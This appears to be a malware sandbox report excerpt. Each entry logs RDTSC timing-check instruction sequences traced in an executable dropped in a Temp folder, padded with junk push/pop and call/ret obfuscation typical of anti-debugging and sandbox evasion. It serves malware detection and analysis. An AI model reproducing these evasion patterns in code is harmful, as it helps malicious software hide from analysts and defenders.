Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B3AED0 second address: B3AF1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F028D150D2Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 21FD1B8Dh 0x00000013 or cl, FFFFFF94h 0x00000016 mov dword ptr [ebp+122D1BACh], edx 0x0000001c lea ebx, dword ptr [ebp+1244FBC3h] 0x00000022 sub cx, A1A9h 0x00000027 push eax 0x00000028 pushad 0x00000029 ja 00007F028D150D2Ch 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F028D150D2Dh 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B3AF1E second address: B3AF22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B3B058 second address: B3B066 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B3B066 second address: B3B075 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F028C6C456Bh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B4B747 second address: B4B757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F028D150D28h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B58137 second address: B5814A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop edx 0x00000009 popad 0x0000000a pushad 0x0000000b jl 00007F028C6C456Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B5814A second address: B5816D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F028D150D37h 0x00000009 jne 00007F028D150D2Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B583FC second address: B58405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B58942 second address: B5894B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B5894B second address: B58951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B58951 second address: B58955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B58AAD second address: B58AE3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a jl 00007F028C6C4566h 0x00000010 jmp 00007F028C6C456Ch 0x00000015 pop ecx 0x00000016 jmp 00007F028C6C4575h 0x0000001b push eax 0x0000001c push edx 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B58C52 second address: B58C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B58C5B second address: B58C77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028C6C4576h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B58C77 second address: B58C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B58C7B second address: B58C81 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B58C81 second address: B58C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jns 00007F028D150D2Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B58C9C second address: B58CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B58E25 second address: B58E29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B58E29 second address: B58E39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F028C6C456Ah 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B59141 second address: B5915C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F028D150D2Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnp 00007F028D150D2Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B59855 second address: B5985B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B5985B second address: B59876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F028D150D37h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B599B8 second address: B599BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B599BC second address: B599C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B599C2 second address: B599C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B5D20D second address: B5D229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F028D150D38h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B5D229 second address: B5D24B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F028C6C4573h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B60490 second address: B60496 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B60588 second address: B605C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028C6C4577h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b jo 00007F028C6C456Ch 0x00000011 jnl 00007F028C6C4566h 0x00000017 pop ecx 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F028C6C456Ch 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B605C4 second address: B605CE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F028D150D2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B605CE second address: B605DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push ebx 0x00000009 jc 00007F028C6C456Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B5EE67 second address: B5EE6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B65248 second address: B6524D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B64F13 second address: B64F17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B64F17 second address: B64F22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B64F22 second address: B64F2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B650F5 second address: B650FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B650FA second address: B65116 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F028D150D2Eh 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B65116 second address: B6511A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B66811 second address: B66829 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D34h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B66829 second address: B6682F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B327E5 second address: B327FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B327FD second address: B3284C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F028C6C456Eh 0x00000008 jmp 00007F028C6C4571h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F028C6C4572h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F028C6C4577h 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6AA6C second address: B6AA7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jng 00007F028D150D26h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B2A32A second address: B2A32E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6B4F2 second address: B6B4F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6B4F8 second address: B6B514 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028C6C4571h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6B514 second address: B6B527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F028D150D26h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F028D150D26h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6B9B6 second address: B6B9C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F028C6C4566h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6B9C0 second address: B6B9D4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F028D150D26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6B9D4 second address: B6B9D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6BF69 second address: B6BFA6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ebx 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F028D150D28h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 xor si, 124Eh 0x00000029 mov esi, dword ptr [ebp+122D1F2Ah] 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 pop edx 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6C15E second address: B6C165 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6C26A second address: B6C26E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6C26E second address: B6C278 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F028C6C4566h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6C496 second address: B6C49A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6C49A second address: B6C49E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6C50E second address: B6C565 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 je 00007F028D150D28h 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop ebx 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F028D150D28h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c jc 00007F028D150D2Ch 0x00000032 mov dword ptr [ebp+122D17F5h], esi 0x00000038 xchg eax, ebx 0x00000039 jc 00007F028D150D43h 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F028D150D31h 0x00000046 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6C565 second address: B6C569 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6C569 second address: B6C575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6C575 second address: B6C579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6DA40 second address: B6DA44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6EAC7 second address: B6EACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6EACB second address: B6EACF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6EACF second address: B6EB62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F028C6C4568h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 sub edi, dword ptr [ebp+122D2AE6h] 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push edi 0x0000002d call 00007F028C6C4568h 0x00000032 pop edi 0x00000033 mov dword ptr [esp+04h], edi 0x00000037 add dword ptr [esp+04h], 0000001Dh 0x0000003f inc edi 0x00000040 push edi 0x00000041 ret 0x00000042 pop edi 0x00000043 ret 0x00000044 mov dword ptr [ebp+122D57B1h], eax 0x0000004a push 00000000h 0x0000004c push ebx 0x0000004d mov esi, 451D477Dh 0x00000052 pop edi 0x00000053 jl 00007F028C6C456Ah 0x00000059 mov di, D021h 0x0000005d xchg eax, ebx 0x0000005e jmp 00007F028C6C4577h 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007F028C6C456Ch 0x0000006b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6EB62 second address: B6EB6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F028D150D26h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6E950 second address: B6E954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6FC93 second address: B6FC9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6FC9F second address: B6FCA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6FD54 second address: B6FD5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B73B8E second address: B73BA4 instructions: 0x00000000 rdtsc 0x00000002 je 00007F028C6C4566h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F028C6C4566h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B73BA4 second address: B73BAA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B73BAA second address: B73BB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B73BB0 second address: B73BB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B74755 second address: B74781 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F028C6C456Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F028C6C4578h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B74781 second address: B74785 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B74785 second address: B7478E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B7478E second address: B747F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 nop 0x00000007 mov esi, dword ptr [ebp+124492F0h] 0x0000000d push 00000000h 0x0000000f mov si, bx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F028D150D28h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e xor esi, dword ptr [ebp+122D1BA0h] 0x00000034 xchg eax, ebx 0x00000035 pushad 0x00000036 jmp 00007F028D150D31h 0x0000003b jnp 00007F028D150D2Ch 0x00000041 popad 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F028D150D2Ch 0x0000004a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B77476 second address: B7747A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B7747A second address: B774BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a pushad 0x0000000b add dword ptr [ebp+122D2663h], ecx 0x00000011 stc 0x00000012 popad 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007F028D150D28h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 00000018h 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f mov bx, 8757h 0x00000033 push 00000000h 0x00000035 clc 0x00000036 xchg eax, esi 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B774BC second address: B774C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F028C6C4566h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B774C7 second address: B774EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F028D150D28h 0x00000012 rdtsc
